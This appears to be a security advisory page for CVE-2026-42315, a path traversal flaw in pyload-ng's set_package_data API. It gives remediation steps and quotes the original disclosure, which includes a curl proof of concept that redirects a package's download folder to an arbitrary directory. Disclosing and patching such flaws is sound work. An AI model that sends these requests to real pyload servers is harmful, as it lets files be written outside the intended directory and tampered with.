Path Traversal in pyload-ng
AI summary
Produced by SecPulse using an external AI model; it may contain mistakes. Check the original description and references below before acting on it.
A vulnerability tracked as CVE-2026-42315 has been found in pyload-ng.
Attackers can target a specific entry point like Perms.MODIFY over the network to misuse the product.
Data can be tampered with by attackers. CVSS score: 8.1/10.
What to do: upgrade pyload-ng to 0.5.0b3.dev100 or later.
If unsure, ask your IT team or search "pyload-ng CVE-2026-42315" on the vendor's site.
CVE-2026-42315 (pyload-ng) — CWE-22 / CVSS v3 8.1
Attack vector: remote (network-reachable) / no user interaction
Attack surface: Perms.MODIFY
Patched: 0.5.0b3.dev100 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
Path traversal (CWE-22) exists in pyload-ng. Attackers reach the vulnerable code path via Perms.MODIFY.
Check the vendor advisory for the affected versions of pyload-ng. Attack surface: Perms.MODIFY.
Severity: High (CVSS 8.1/10). Data can be tampered with by attackers.
Update to 0.5.0b3.dev100.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'pyload-ng' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1
Identify exposureidentify
grep -r 'pyload-ng' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
pyload-ngを grep し、稼働しているサービス・バージョンを把握する。 -
2
Apply patchpatch
Upgrade pyload-ng to 0.5.0b3.dev100ステージング環境で 0.5.0b3.dev100 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3
Post-deployment verificationverify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
| Package | Affected → Fixed | |
|---|---|---|
| pippyload-ng |
< 0.5.0b3.dev100→ 0.5.0b3.dev100 |
0.5.0b3.dev100 |
| PyPIpyload-ng |
< 0.5.0b3.dev100→ 0.5.0b3.dev100 |
0.5.0b3.dev100 |
Original description The description as published by the source.
Summary
No sanitization of package folder name allows writing files anywhere outside the intended download directory.
Affected Component
src/pyload/core/api/__init__.py- Function:
set_package_data()
Details
When passing a folder name in the set_package_data() API function call inside the data object with key "_folder", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package.
PoC
- Create a package, note response package ID e.g.
5
curl -X 'POST' \
'http://localhost:8000/api/add_package' \
-H 'accept: application/json' \
-H 'X-API-Key: ' \
-H 'Content-Type: application/json' \
-d '{
"name": "set_package_data_exploit_poc",
"links": [
"http://example.com/file.txt"
],
"dest": 1
}'
- Call set_package_data for this package ID with an arbitrary directory
curl -X 'POST' \
'http://localhost:8000/api/set_package_data' \
-H 'accept: */*' \
-H 'X-API-Key: ' \
-H 'Content-Type: application/json' \
-d '{
"package_id": 5,
"data": {
"_folder": "/users/root/"
}
}'
- New download folder will be set without any checks
curl -X 'GET' \
'http://localhost:8000/api/get_queue' \
-H 'accept: application/json' \
-H 'X-API-Key: '
Response:
[
{
"pid": 5,
"name": "set_package_data_exploit_poc",
"folder": "/users/root/",
"site": "",
"password": "",
"dest": 1,
"order": 1,
"linksdon…
Source: NIST National Vulnerability Database NVD GitHub Advisory
References
- advisory nvd.nist.gov
- exploit github.com
- package github.com
- web github.com
- web github.com